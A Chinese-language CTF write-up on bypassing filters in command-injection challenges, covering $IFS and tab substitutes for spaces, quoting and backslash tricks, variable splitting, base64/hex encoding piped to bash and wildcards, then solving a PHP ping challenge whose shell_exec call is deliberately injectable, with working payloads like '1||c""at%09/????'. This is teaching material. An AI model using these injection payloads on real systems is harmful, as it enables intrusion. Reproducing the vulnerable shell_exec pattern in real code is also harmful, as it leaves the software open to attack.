命令执行中的各种绕过
在ctf中,命令执行一直是一个非常重要的考点,一道ctf题最后往往都需要我们执行命令来拿到flag,但一般都会有各种各样的过滤限制,接下来就来总结一下如何绕过这些过滤
1.绕过空格
常见的绕过空格的方法有$IFS$9
,$IFS
,$IFS$1
,${IFS}
,%09
,$IFS是linux下的分隔符,加上{}或者后面加$表示截断,防止与后面的变量名粘连导致命令无法执行,而$9
指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9
相当于没有加东西,等于做了一个前后隔离,基本上用上面的方法都可以绕过空格了,还有一些不常用的方法,比如说用cat<a.txt
表示cat a.txt
,{cat,flag.php}
等等
2.绕过分隔符
linux下执行两条不同的命令中间需要分隔符,分隔符一般都是用||
或者;
这两个一般都会有一个不会被禁掉,直接用就行,;
只起分隔作用,不关心彼此是否执行成功,所有命令都会执行,而||
实现逻辑或的功能,只有在左边的命令执行失败时,右边的命令才会执行
3.绕过关键字
这个应该是最重要的了,每次过滤的重点就是关键字,一般绕过的方法如下:
1.中间加入符号
1 2 3 4 5 6 7 8
| 这种我认为是最常见也是最简单的,你可以在命令中添加反斜杠\或者双引号"或者反引号`来绕过正则匹配 但要记住的是,两个字母之间反斜杠\只能加一个,双引号"和反引号`因为要闭合所以只能加偶数个,否则就不能执行命令了: ls -> l\s ls -> l""s ls -> l``s cat /flag -> ca\t /flag -> c\a\t /flag cat /flag -> ca""t /flag -> c""a""t /flag cat /flag -> ca``t /flag -> c``a``t /flag
|
2.拆分命令绕过
1 2 3 4
| 这种方法还是非常常见的,就是通过拆分和拼接的方式,可以绕过对命令和对文件名的正则匹配,达到执行命令的目的 但这种方式有很大的弊端就是当分号被过滤掉之后就很难使用了: ls -> a=l;b=s;$a$b cat /flag -> a=ag;b=fl;cat /$b$a;
|
3.编码绕过
1 2 3 4 5 6 7 8
| 这种方法网上写的非常多,但我觉得实际能用的情况其实挺少的,而且构造它也相对比较麻烦,这里就简单推荐两种方法: 1.base64 echo 'cat' | base64 --> Y2F0Cg== 那我们就可以构造cat /flag为: `echo 'Y2F0Cg==' | base64 -d` /flag 2.hex echo 77686F616D69 | xxd -r -p | bash 其中77686F616D69是whoami的hex编码
|
4.通配符绕过
1 2 3 4 5 6 7
| 这种方式主要是针对文件名那几个字符被过滤时可以使用,就是用?或者*来代替具体的字符 但一定注意这是针对文件名的哈,命令是肯定不能直接这么用的,但linux下命令其实也是文件 比如说像cat就对应文件/bin/cat,ls就对应文件/bin/ls等等,我们也可以用类似的方法进行构造: ls -> /bin/l? cat -> /bin/c?? 像preg_match("/.*f.*l.*a.*g.*/", $ip)这种flag字样都是被过滤了的,我们用通配符就很好用: cat /flag -> /bin/ca? /????
|
4.例题解析—–BMZCTF 端午就该吃粽子
前面的过程就不讲了,核心源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); if (isset($_GET['url'])) { $ip=$_GET['url']; if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){ die("<script language='javascript' type='text/javascript'> alert('no no no!') window.location.href='index.php';</script>"); }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("<script language='javascript' type='text/javascript'> alert('no flag!') window.location.href='index.php';</script>"); } $a = shell_exec("ping -c 4 ".$ip); echo $a; } ?>
|
核心语句是shell_exec("ping -c 4 ".$ip);
相当于就是一个有过滤情况下的命令执行,那按照前面讲的方法绕过的方法就很多了,很多种方法都可以拿到flag,我们先ls
一下根目录,空格就用%09
代替:

可以看到flag就在根目录下,那我们看它的方法就很多了:
1 2 3 4 5
| 1||c""at%09/???? 1||c\a\t$IFS$9/???? 1||/bin/c??$IFS/???? 1||c""at%09$(find%09/%09-name%09f??g) 等等等等非常多种,可以随意组合实现cat /flag这条命令,然后就得到flag了
|

顺便这里再多讲一个,有的ctf题恶心人,他不把flag放根目录下,找它就很费功夫,就可以用下列语句找flag:
1 2 3
| system("find / -name flag*"):查找所有文件名匹配flag*的文件 system("cat $(find / -name flag*)"):打印所有文件名匹配flag*的文件 一般直接用第二条就可以打印出flag文件了,当然如果是有过滤的话就按照上面的方法绕过就好啦!
|